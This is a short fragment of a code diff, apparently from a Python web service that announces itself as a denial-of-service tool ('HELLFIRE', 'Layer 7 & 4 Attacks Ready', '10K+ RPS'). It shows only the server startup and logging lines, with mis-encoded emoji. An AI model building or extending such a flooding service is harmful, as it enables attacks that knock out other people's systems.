+ "status": "GET /status"
530
+ }
531
+ }
532
 
533
+ # ------------------- APPLICATION STARTUP -------------------
534
  if __name__ == "__main__":
535
+ _log("πŸ”₯ NAI11 HELLFIRE v13 STARTED - FULLY WORKING")
536
  _log("πŸ“ API Running on http://0.0.0.0:8000")
537
+ _log("⚑ Layer 7 & 4 Attacks Ready")
538
+ _log("πŸš€ Unlimited Threads | 10K+ RPS")
539
+
540
  init_executor()
541
  uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False)